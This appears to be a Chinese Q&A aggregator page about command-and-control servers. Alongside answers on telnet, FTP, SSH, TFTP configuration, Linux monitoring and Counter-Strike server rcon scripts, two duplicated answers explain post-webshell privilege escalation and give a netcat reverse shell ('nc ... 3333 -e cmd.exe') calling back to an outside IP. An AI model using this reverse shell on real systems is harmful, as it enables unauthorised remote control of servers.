导航:首页 > 程序命令 > 命令与控制服务器

命令与控制服务器

发布时间:2022-09-11 02:35:16

㈠ telnet原理

TELNET介绍
Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。

net服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),那么就让我们来认识一下远程登录。

定义
先来看看什么叫登录:分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记账方便,系统要求每个用户有单独的用户名作为登录标识,系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令,这个过程被称为'登录'。远程登录是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。

工作过程
使用Telnet协议进行远程登录时需要满足以下条件:在本地计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。
Telnet远程登录服务分为以下4个过程:
1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;
2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据包;
3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;
4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。
上面的内容只是讨论了远程登陆最基本的东西,其中的复杂和编程人员的艰辛是我们难以想象的,不知道你在舒服的使用Telnet的同时,是否想到了这些!

㈡ 什么是C&C服务器

C&C
服务器的全称是
Command
and
Control
Server,翻译过来就是命令和控制服务器
通常在做渗透测试的时候,在拿到一个
webshell
的时候,需要对服务器进行提权操作,如果是一台
windows
的服务器,提权的时候通常是利用本地提权漏洞的
exp
进行溢出提权,有些
exp
可以直接在后面加参数,溢出成功之后执行参数中的命令。
而有的
exp
溢出成功之后是返回一个
system
权限的
cmd,这时就需要将低权限的
cmd
shell
反弹回本地,这里用
nc
在本地执行:nc
-vv
-lp
3333
上述命令的意思是在本地监听一个
3333
端口等待连接,假设电脑
IP
是公网的,并且
IP

114.114.114.114,然后在目标服务器就可以执行:nc
114.114.114.114
3333
-e
cmd.exe
上面的命令就可以把远程服务器的服务器权限的
cmd
shell
返回到本地,这时你就可以通过
nc
建立的这个
shell
进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的
C&C
服务器。
(2)命令与控制服务器扩展阅读:
C&C
服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。
通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网
IP
地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。
这里中转服务器的作用就是本地内网的主机监听的端口映射到公网
IP
的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。

㈢ 在linux系统中,哪些常用的服务需要构建

3.1Telnet

协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。

在Linux的命令行窗口输入“telnet 192.168.1.230”,如图出现登录界面,根据提示输入用户名和密码即可。

3.2FTP

服务器(File Transfer Protocol Server)是在互联网上提供文件存储和访问服务的计算机,它们依照FTP协议提供服务。 FTP是File Transfer Protocol(文件传输协议)。顾名思义,就是专门用来传输文件的协议。简单地说,支持FTP协议的服务器就是FTP服务器。

无论在Linux系统还是windows系统中,一般安装后都自带一个命令行的ftp命令程序,使用ftp可以登录远程的主机,并传递文件,这需要主机提供ftp服务和相应的权限;我们可以从PC机的命令行窗口登录开发板,并向开发板传递文件。

在Linux的命令行窗口输入命令ftp 192.168.1.230即对方的IP地址,即可连接上指定地址的服务器,根据提示输入用户名和密码即可登录。

3.3ssh

为Secure Shell的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。SSH客户端适用于多种平台。几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、DigitalUNIX、Irix,以及其他平台,都可运行SSH。

可以在PC上通过网络进入开发板上的字符终端进行操作,方法如下:

1)在开发板上连接以太网线开机(或者连接USB Wifi),然后在串口终端上用ifconfig 命令查看一下开发板的IP地址,如果没有连接串口终端,也可以在LCD上进入网络设置应用,设置一个IP地址,例如192.168.1.230

2)现在回到PC ,在PC Linux命令行下,假设开发板的IP地址是192.168.1.230,则输入命令[email protected],然后输入密码fa即可进入开发板的字符终端

3.4 NFS服务器

掌握NFS服务器的安装、配置和使用掌握NFS客户端的配置掌握挂载和卸载共享目录了解Windows文件共享的基本概念和Samba服务器的功能掌握Samba服务器的配置管理掌握Samba客户程序的使用了解TFTP掌握TFTP服务器的配置管理掌握TFTP客户端程序的使用

3.5 TFTP服务器

Ubuntu中TFTP服务器配置:apt-get install tftp-hpa tptpd-hpa下载TFTP服务器,sudo vim /etc/default/tftpd-hpa

内容如下:

TFTP_USERNAME=“tftp”

TFTP_DIRECTORY=”/home/linux/tftpboot”

TFTP_ADDRESS=”0.0.0.0:69”

TFTP_OPTIOS=”--secure”

sudo service tftpd-hpa stop

sudo service tftpd-hpa start

sudo service tftpd-hpa status

sudo service tftpd-hpa restart

然后可以在别的主机使用命令tftp <服务器ip>

使用命令:get <filename> 上传本地文件到TFTP服务器,put<filename>下载TFTP服务器的文件到本地

NFS是SUN开发的,用于Unix机器之间的资源共享。目前被广泛应用于Linux系统之间的资源共享。

Samba服务器

主要用于在Windows和Unix之间共享资源。资源包括文件、打印机等等。目前被广泛应用于Windows与Linux之间实现资料共享。

㈣ 如何使用命令行 服务管理器管理服务器部署

计算机上的每个系统都附带一个用来配置和管理设置的图形用户界面 (GUI),如 IIS 管理器。但是,如果管理员经常管理系统或者访问多个服务器上的大量数据,则使用每个 GUI 会非常耗时。使用可按编程方式管理单个或多个系统的命令行脚本速度更快。
IIS 提供强大的脚本编写和编程工具,您可以使用它们从命令行脚本或编译的应用程序中访问和配置设置。可使用这些工具创建、删除、启动、停止、暂停和列出各种站点和应用程序,并复制、导入和导出配置。
可使用命令行脚本执行下列任务:
管理网站:描述如何在本地或远程计算机上创建、删除、启动、停止、暂停和列出网站。
管理 FTP 站点:描述如何在本地或远程计算机上创建、删除、启动、停止、暂停和列出 FTP 站点。
管理 Web 虚拟目录:描述如何在本地或远程计算机上创建、删除、启动、停止、暂停和列出 Web 虚拟目录。
管理 FTP 虚拟目录:描述如何在本地或远程计算机上创建、删除、启动、停止、暂停和列出 FTP 虚拟目录。
管理 IIS 配置:描述如何备份、还原、删除、列出、复制、导入和导出 IIS 配置。
管理应用程序和 Web 服务扩展:描述如何启用和列出应用程序;添加和删除应用程序依存关系;启用、禁用和列出 Web 服务扩展;添加、删除、启用、禁用和列出单个文件。

㈤ linux服务器监控的几个方法和命令

监控会降低性能的。同问filter、simls是什么?没用过。
当服务器系统性能突然低于平均应有的情况,问题可能来自在执行的进程、内存的使用率、磁盘的性能和CPU 的压力。在预算有限的时代,理解如何优化系统性能比以往任何时候都重要。要实现它的前提是,你必须充分了解自己的服务器,从而找到真正的瓶颈所在。本文提供一些基础的工具来辨别和处理一些性能问题。工作过程是:首先查看整个系统的状态(服务器整体)后是检查特定的子系统(内存、处理器、IO等)。

一、系统负载监测

1.使用uptime命令

2.使用cron命令进行定时监测系统负载:

二、Unix进程运行的监测

1.使用ps命令

Unix系统提供了ps等察看进程信息的系统调用,通过结合使用这些系统调用,我们可以清晰地了解进程的运行状态以及存活情况,从而采取相应的措施,来确保Unix系统的性能。它们是目前在Unix下最常见的进程状况查看工具,是随 Unix版本发行的,安装好系统之后,用户就可以使用。 这里以ps命令为例,ps命令是最基本同时也是非常强大的进程查看命令。利用它可以确定有哪些进程正在运行及运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等。ps命令可以监控后台进程的工作情况,因为后台进程是不和屏幕键盘这些标准输入/输出设备进行通信的

2.使用进程监控工具

如果安装了CDE环境,可以使用图形界面进程等系统信息,使用方法是单击“前面板”上“工具”子面板上的“查找进程”控件。 显示“进程管理器”主窗口。它立即对工作站进行采样,并显示所有当前进程的采样。

三、内存使用情况监测

内存是Unix内核所管理的最重要的资源之一。内存管理系统是操作系统中最为重要的部分,因为系统的物理内存总是少于系统所需要的内存数量。虚拟内存就是为了克服这个矛盾而采用的策略。系统的虚拟内存通过在各个进程之间共享内存而使系统看起来有多于实际内存的内存容量。Unix支持虚拟内存, 就是使用磁盘作为RAM的扩展,使可用内存相应地有效扩大。核心把当前不用的内存块存到硬盘,腾出内存给其他目的。当原来的内容又要使用时,再读回内存。

㈥ 如何在DOS状态下通过命令控制符登录FTP服务器

熟悉并灵活应用FTP的内部命令,可以收到事半功倍的效果。 FTP的命令行格式为:ftp-v-d-i-n-g[主机名]。其中: -v显示远程服务器的所有响应信息; -n限制ftp的自动登录,即不使用; .netrc文件; -d使用调试方式; -g取消全局文件名。 FTP使用的常见内部命令包括: account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。 bye:退出ftp会话过程。 cdremote-dir:进入远程主机目录。 cp:进入远程主机目录的父目录。 close:中断与远程服务器的ftp会话(与open对应)。 cr:使用asscii方式传输文件时,将回车换行转换为回行。 eleteremote-file:删除远程主机文件。 dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件local-file中。 getremote-file[local-file]:将远程主机的文件remote-file传至本地硬盘的local-file中。 help[cmd]:显示ftp内部命令cmd的帮助信息,如:helpget。 ls[remote-dir][local-file]:显示远程目录remote-dir,并存入本地文件local-file中。 mdelete[remote-file]:删除远程主机文件。 mgetremote-files:传输多个远程文件。 mkdirdir-name:在远程主机中建一目录。 newerfile-name:如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。 pwd:显示远程主机的当前工作目录。 rmdirdir-name:删除远程主机目录。 sizefile-name:显示远程主机文件大小,如:siteidle7200。 status:显示当前ftp状态。 system:显示远程主机的操作系统类型。 另外输入“help”命令还能及时得到帮助信息,如果输入?[cmd]就能得到关于[cmd]命令的相关帮助。

㈦ telnet命令

Telnet命令是常用的远程登录手段。

Telnet当成一种通信协议,但是对于入侵者而言,Telnet只是一种远程登录的工具。一旦用户与远程主机建立了Telnet连接,用户便可以使用目标主机上的软、硬件资源,而用户的本地机只相当于一个只有键盘和显示器的终端而已。

telnet命令的特点

telnet命令为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。

㈧ CS服务器远程控制的配置和命令!

踢人问题。常有人有人作弊,看不顺眼,怎么踢他出去?还有那些乱刷新的家伙,怎样揪出他,踢他出去?
首先回答踢人问题:
踢人分两种:
一是简单的踢他,不过他还可以再进来,这种简单,作方法:
控制台,输入users显示出每个玩家的ID编号,
输入kick #XX(编号)(编号前面加#哦),OK,解决。
为什么要踢他的编号呢,因为有的人在名字里用了特殊符号或者太长记不住,所以踢编号是最好的方法。
二是踢他出去并封他的IP,让他就算换了名字也进不来。作方法:
控制台,先查ID编号,再输入banid YY #XX kick,就可以了,不过在实际中这样做自己主机就会退出游戏。
经过研究,发现,在局域网游戏中是不可以这样banid的,为什么呢?经查,所有局域网的玩家的uniqueid都是一样的,(虽然个人的ID编号不一样,)banid 命令是以uniqueid为识别的,所以banid别人就把自己顺便给banid 出去啦。
好,踢人问题解决了,可是有人捣乱刷新,怎么查出这个人呢?
解决方法:在他刷新或乱改了设置之后,马上调出控制台,好,你会看到这样的话:rcon from 192.168.29.34 ……(之后写的是他用的远程控制密码和远程控制命令),看到IP了吗?
输入status,可以查看各个玩家的ID和对应的IP,看出是谁了吧?警告他!不要捣乱!不爽的话用users加kick 对付他也不过分哦。
!不过在此忠告大家,杀人不过头点地,封IP太毒了吧,踢一下也就行了,让他再进来不捣乱就行。

㈨ 什么是C&C服务器

C&C 服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器

通常在做渗透测试的时候,在拿到一个 webshell 的时候,需要对服务器进行提权操作,如果是一台 windows 的服务器,提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权,有些 exp 可以直接在后面加参数,溢出成功之后执行参数中的命令。

而有的 exp 溢出成功之后是返回一个 system 权限的 cmd,这时就需要将低权限的 cmd shell 反弹回本地,这里用 nc 在本地执行:nc -vv -lp 3333

上述命令的意思是在本地监听一个 3333 端口等待连接,假设电脑 IP 是公网的,并且 IP 为 114.114.114.114,然后在目标服务器就可以执行:nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地,这时你就可以通过 nc 建立的这个 shell 进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的 C&C 服务器。

(9)命令与控制服务器扩展阅读

C&C 服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。

通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网 IP 地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。

这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP 的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。

㈩ 求cs source控制台服务器命令

一楼是抄来的吧?那么全,可惜大部分是本机命令而不是服务器控制命令,而且有很多是1.6的命令而不是CS:Source特有命令。

一、首先你要成为OP,必须先知道远程管理密码。
你作为玩家进入服务器后,首先输入:

rcon_password "********"
如果密码正确,则取得服务器管理员权限,可以进行后面的操作。注意这条命令的rcon之后是一条下划线,与下面的各条不同。

二、常用的服务器命令如下:

mp_restartgame 1
刷新,服务器将在一秒后刷新一次,后面的数字可以改为别的,例如改为3,则在3秒后刷新一次。

(注意,这些命令在服务器主机上操作或用HLSW操作时可以直接使用,如果你作为玩家进入服务器玩的时候要远程操作,则所有命令前需要加 rcon 然后是一个空格,例如: rcon mp_restartgame 1 ,后面所有命令都是如此)

sv_password "****"
进入服务器的密码,注意引号是半角的(也就是在英文输入法状态下的引号,不能用中文输入法下的全角引号。

sv_password " "
取消服务器密码,引号之间是一空格,则服务器将不需要密码即可进入。
特别一提,如果你是要把这条命令写进服务器配置文件放在服务器上(例如你要做一个没有密码的混战服务器),则在前后引号之间不要打空格,两引号直接相连即可)。

mp_friendlyfire 0
数字是0为关闭队友伤害,是1则是开启队友伤害。

mp_autoteambalance 0
数字0为关闭自动平衡双方队伍人数,建议比赛时用,1则是开启自动平衡,建议混战时使用。

mp_startmoney 800
mp_startmoney 1500
mp_startmoney 16000
设置游戏开始的金钱数。

mp_roundtime 1.75
每局时间,单位为分钟,1.75分钟即1分45秒。

mp_freezetime 15
每局开局的冻结(玩家不能动)的时间,单位为秒。

mp_buytime 0.25
冻结时间后玩家可以回基地买枪的时间,单位为分钟。

mp_c4timer 35
C4爆炸时间,单位为秒。

sv_alltalk 1
所有人之间语音通话 开启1/关闭0,比赛时应关闭alltalk。

mp_tkpunish 0
队友伤害惩罚 开启1/关闭0,建议比赛时关闭。

mp_autokick 0
自动踢出不动的玩家 开启1/关闭0,建议比赛时关闭。

mp_spawnprotectiontime 0
控制在每局开始后不能进行队友伤害的时间,在这个时间之内伤害队友将被踢除,单位为秒,设置为0则关闭该功能。

sv_voiceenable 1
麦克风语音通讯 开启1/关闭0

mp_allowspectators 1
观察员模式 开启1/关闭0,建议混战和友谊赛设置为1,重要比赛不让旁观时设置为0。

mp_limitteams 1
队伍间人数差异上限 ( 0 = 不限制 )

mp_forcecamera 0
死亡后视角 只有本队队友1/死亡玩家视角停在死亡时的原地2/无限制0,混战建议用0,比赛建议用1,有些人以为比赛用2好,其实比赛时用2反而可能使死亡玩家看到不应该看到的东西而报点。

mp_fadetoblack 0
1=死后黑屏,0=不变。

changelevel de_st2
changelevel de_nuke
changelevel de_inferno
changelevel de_train
changelevel cs_office
……
换地图(玩家仍然会留在服务器里)

map de_st2
map cs_italy
……
换地图并重新读取配置服务器(服务器开久了卡的话,可以用这个命令重读服务器,这样就象刚开一样不卡,但是这个命令会让所有玩家掉出去,因此在使用前最好通知大家过一两分种再进,否则有可能玩家因为以为服务器挂了而离开。)

三、服务器本身没有r3(lo3)命令,你可以写一个脚本,让服务器系统管理员放在服务器上的cfg文件夹里。下面是我写的脚本,你可以复制下来(把里面我写的个性化信息换成你自己的)存在记事本里,然后把记事本扩展名改为.cfg,例如可以叫 lo3.cfg

***********************
//
*|[ lo3.cfg ]|*
// Aliases
alias w "wait"
alias w5 "w;w;w;w;w;"
alias w10 "w5;w5;"
alias w20 "w10;w10;"
alias w50 "w10;w10;w10;w10;w10;"
alias w80 "w50;w20;w10;"
alias w100 "w50;w50;"
alias w150 "w100;w50;"
alias w300 "w100;w100;w100;"
alias w500 "w100;w100;w100;w100;w100;"
alias l1a "say 1ST RESTARTS!!!;mp_restartgame 1; w500;w500;w10;"
alias l2a "say 2ST RESTARTS!!!;mp_restartgame 2; w500;w500;w300;w150;"
alias l3a "say 3ST RESTARTS!!!;mp_restartgame 3; w500;w500;w500;w300;"
alias l4 "say [------------];w10;lo5;"
alias lo5 "say [E-----------];w10;lo6;"
alias lo6 "say [VE----------];w10;lo7;"
alias lo7 "say [IVE---------];w10;lo8;"
alias lo8 "say [LIVE--------];w10;lo9;"
alias lo9 "say [-LIVE-------];w10;lo10;"
alias lo10 "say [--LIVE------];w10;lo11;"
alias lo11 "say [---LIVE-----];w10;lo12;"
alias lo12 "say [----LIVE----];w10;lo13;"
alias lo13 "say [-----LIVE---];w10;lo14;"
alias lo14 "say [------LIVE--];w10;lo15;"
alias lo15 "say [-------LIVE-];w10;lo16;"
alias lo16 "say [--------LIVE];w10;lo17;"
alias lo17 "say [E--------LIV];w10;lo18;"
alias lo18 "say [VE--------LI];w10;lo19;"
alias lo19 "say [IVE--------L];w10;lo20;"
alias lo20 "say [LIVE--------];w10;lo21;"
alias lo21 "say [-LIVE-------];w20;lo22;"
alias lo22 "say [--LIVE------];w20;w10;lo23;"
alias lo23 "say [---LIVE-----];w20;w20;lo24;"
alias lo24 "say [----LIVE----];w50;lo25;"
alias lo25 "say [----LIVE----];w50;w20;lo26;"
alias lo26 "say [----LIVE----];w100;lo27;"
alias lo27 "say [----LIVE----];w100;"
alias sx3 "say [-------LIVE ON THREE RESTARTS!!!-------];w50;"
alias wel "say [-------Welcome to GA Server!!!-------] !;w50;"
alias stb "say [-------Match is now LIVE!!!!-------];w50;"
alias snf "say Long lIVE GA.SNF !;w50;"
alias hyd "say Long lIVE GA.HYD !;w50;"
alias gl1 "say Good Luck !;w50;"
alias hf1 "say Have Fun !!"
// Execute
wel
wel
w100
snf
snf
w100
hyd
hyd
w100
sx3
sx3
w100
l1a
l2a
l3a
l4
w100
stb
stb
w100
gl1
hf1
// GL HF
********************
lo3.cfg文件放到服务器上后,你可以用命令
rcon exec lo3.cfg
来实现自动r3

如果你没有办法把这个脚本放到服务器上,例如你和系统管理员不熟悉,或者是借用别人的服务器,那么你可以按以下操作:

首先把下面这段内容做成一个.cfg文件,例如叫bjr3.cfg,放进你的游戏文件目录的cstrike文件夹下的cfg文件夹里。

*******************
//
rcon say "[-比赛将在刷新三次后开始!!!-------]";
rcon ww100;
rcon say "[---比赛将在刷新三次后开始!!!-----]";
rcon ww100;
rcon say "[-----比赛将在刷新三次后开始!!!---]";
rcon ww100;
rcon say "[-------比赛将在刷新三次后开始!!!-]";
rcon ww100;
rcon say "[-----比赛将在刷新三次后开始!!!---]";
rcon ww100;
rcon say "[---比赛将在刷新三次后开始!!!-----]";
rcon ww100;
rcon say "[-比赛将在刷新三次后开始!!!-------]";
rcon ww100;
rcon say "第一次刷新";
rcon mp_restartgame 1;
rcon ww600;
rcon say "第二次刷新";
rcon mp_restartgame 2;
rcon ww600;
rcon ww600;
rcon say "第三次刷新";
rcon mp_restartgame 3;
rcon ww600;
rcon ww600;
rcon ww100;
rcon say "[-比赛已经开始!!!-------]";
rcon ww100;
rcon say "[---比赛已经开始!!!-----]";
rcon ww100;
rcon say "[-----比赛已经开始!!!---]";
rcon ww100;
rcon say "[-------比赛已经开始!!!-]";
rcon ww100;
rcon say "[-----比赛已经开始!!!---]";
rcon ww100;
rcon say "[---比赛已经开始!!!-----]";
rcon ww100;
rcon say "[-比赛已经开始!!!-------]";
rcon ww100;
rcon say "[------Good Luck !------]";
rcon say "[------Have Fun !!------]"
rcon sv_allow_wait_command 0
**********************

然后,在比赛开始前,你必须用HLSW,按顺序向服务器发送这样4条命令:

sv_allow_wait_command 1

alias "ww10" "wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;"

alias "ww100" "ww10;ww10;ww10;ww10;ww10;ww10;ww10;ww10;ww10;ww10;"

alias "ww500" "ww100;ww100;ww100;ww100;ww100;ww100;"

发送这4条命令后,切回游戏界面,在控制台输入:
exec bjr3
然后回车。

注意,这条命令前没有"rcon "

悬赏的分太少,如果追加到200分,我愿意提供有关CSS脚本和服务器管理的高级技巧,例如如何建一个稳定流畅的高配置服务器、如何写服务器配置脚本、如何优化CS:Source、如何自己编写脚本、还可以帮你做一个超级傻瓜化服务器管理脚本(你完全不用记任何服务器管理命令就可以方便管理服务器,只需要在控制台打r1(也就是打两个字符)就刷新,打r3就开战,打bs就自动生成全部比赛参数配置,打hz就自动进入混战模式,打d2就自动换到st2,打8就自动把钱改为800开局,打16就是16000开局,等等……
如果有兴趣就加我QQ:406111

阅读全文

与命令与控制服务器相关的资料

热点内容
批处理编译qt 浏览:65
铁友app怎么查询机票订单 浏览:197
myeclipselinux破解版 浏览:417
批处理命令语法不正确 浏览:889
pdf合并成一个pdf在线 浏览:383
柱加密区构造要求 浏览:514
地板木龙骨标准跟加密区别 浏览:150
解压放松的好地方河南 浏览:965
搜狗怎么移动到文件夹 浏览:617
文件自动选择到文件夹 浏览:794
赠送的app怎么在ipad下载 浏览:508
颈椎解压后神经恢复 浏览:849
怎么看app订阅扣费 浏览:314
linux系统的负载均衡 浏览:419
遇到挫折解压视频 浏览:778
什么指令看服务器运行负载 浏览:84
因硕智能门锁卡片是加密的么 浏览:336
为什么会服务器不可用 浏览:290
wow宏命令设置 浏览:264
解压神器一张纸折叠魔术球 浏览:23